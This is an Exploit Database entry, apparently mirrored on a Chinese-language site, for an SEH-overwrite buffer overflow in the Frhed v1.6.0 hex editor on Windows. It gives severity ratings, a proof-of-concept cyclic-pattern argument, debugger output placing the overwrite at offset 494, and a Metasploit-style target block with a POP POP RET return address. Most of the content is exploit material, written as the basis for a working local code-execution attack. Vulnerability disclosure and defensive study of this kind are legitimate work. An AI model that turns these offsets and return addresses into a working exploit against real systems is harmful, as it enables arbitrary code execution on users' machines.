Frhed (Free hex editor) v1.6.0 – Buffer overflow

• Exploit Database
• 13 阅读

• 作者： Rafael Pedrero
  日期： 2023-03-27
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51078/

• # Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow
  # Discovery by: Rafael Pedrero
  # Discovery Date: 2022-01-09
  # Vendor Homepage: http://frhed.sourceforge.net/
  # Software Link : http://frhed.sourceforge.net/
  # Tested Version: 1.6.0
  # Tested on:Windows 10
  
  CVSS v3: 7.3
  CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
  CWE: CWE-119
  
  Buffer overflow controlling the Structured Exception Handler (SEH) records
  in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow
  attackers to execute arbitrary code via a long file name argument.
  
  Proof of concept:
  
  Open Frhed.exe from command line with a large string in Arguments, more
  than 494 chars:
  
  File '<Frhed_PATH>\Frhed.exe'
  Arguments
  'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'
  
  SEH chain of main thread
  AddressSE handler
  0018FC8C 41367141
  35714134 *** CORRUPT ENTRY ***
  
  0BADF00D [+] Examining SEH chain
  0BADF00D SEH record (nseh field) at 0x0018fc8c overwritten with
  normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic
  data after the handler
  
  0BADF00D ------------------------------
   'Targets'=>
   [
   [ '<fill in the OS/app version here>',
   {
   'Ret' =>0x00401ba7, #
  pop ecx # pop ecx # ret- Frhed.exe (change this value by other without
  \x00)
   'Offset'=>494
   }
   ],
   ],